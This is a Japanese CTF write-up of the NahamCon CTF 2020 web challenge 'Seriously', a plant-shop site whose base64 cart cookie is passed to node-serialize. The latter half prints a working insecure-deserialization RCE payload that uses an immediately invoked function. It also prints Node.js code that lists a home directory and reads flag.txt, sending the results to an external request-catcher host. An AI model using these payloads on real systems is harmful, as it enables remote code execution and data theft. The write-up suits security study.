はまやんはまやんはまやん

hamayanhamayan's blog

Seriously [NahamCon CTF 2020]

We are very serious about plants. Seriously, we are. I'm serious.
Connect here:
http://one.jh2i.com:50007
http://two.jh2i.com:50007
http://three.jh2i.com:50007
http://four.jh2i.com:50007
http://five.jh2i.com:50007

植物が買えるサイト。
商品を見たり色々できるけど、商品はカートに入れるだけ。

/
/?category=Indoor
/?category=Outdoor
カテゴリ分類
categoryに適当なやつとか'を入れてみたけど、何も出てこないだけ

/cart
カートに入っている一覧が見られる

/checkout
工事中

/item/Haworthiopsis%20attenuata

/add2cart?item=Haworthiopsis attenuata
カートに追加するためのエンドポイント

/signup
新規登録

/signin
ログイン
いつものやつはやったけど、ダメ。

/logout
ログアウト

まあ、色々なサイトはあるが、入力が入れられそうな所というと、/cartだろうなぁ…と思ってはいたが、
SSTIを狙うも全然反応してくれない。

Cookie

authとcartがある。
cartの方はただbase64してあるだけなので、適当に改変して入れなおすと反映される。
ここでSSTIを狙ったが、全然ダメだった。

解説を見た

あー、安全でないデシリアライゼーション系か…

安全でないデシリアライゼーション

json読込をデシリアライゼーションというかはちょっとわからないのだが、雰囲気は同じ。
以下を読み込んで表示しているが、jsonにjsコードを実は埋め込める。 {"items":{"0":{"name":"Haworthiopsis attenuata","price":19.99,"count":1}}}

evil = {
  items: {
    '3': { name: function(){ return "hi"; }, price: 14.99, count: 1 }
  }
};
var serialize = require('node-serialize');
let buff = new Buffer.from(serialize.serialize(evil));
console.log(buff);

このようにしてみると、

{"items":{"3":{"name":"_$$ND_FUNC$$_function(){ return \"hi\"; }","price":14.99,"count":1}}}

こうやって出てくる。
で、ここからが重要なのだが、この関数を実行させるために、即時実行関数式(IIFE)を使う。

{"items":{"3":{"name":"_$$ND_FUNC$$_function(){ return \"hi\"; }()","price":14.99,"count":1}}}

分かりにくいが、関数の末尾に()を付けている。
これであんましよく分かってないが、関数が自動実行される。 つまりRCEが達成できた。

RCE

RCEの結果は、httpリクエストで飛ばすことにしよう。
まあ、後は好きにする。
以下のようにlsする。

var baseurl = 'https://evilman.requestcatcher.com';
var fs = require('fs');
fs.readdir('/home/user', function (err, files) {
    if (err) {
        require('request')(baseurl + '/ls-error', function (error, response, body) { console.log(body); });
    }
    files.forEach(function (file) {
        require('request')(baseurl + '/ls?file=' + file, function (error, response, body) { console.log(body); });
    });
});

flag.txtがあるので、以下のようにcatする。

var baseurl = 'https://evilman.requestcatcher.com';
var fs = require('fs');
fs.readFile('/home/user/flag.txt', function(err, data) {
    let base64flag = Buffer.from(data).toString('base64');
    require('request')(mysite + '/cat?flag=' + base64flag, function (error, response, body) { console.log(body); });
});

base64形式でフラグが出てくる。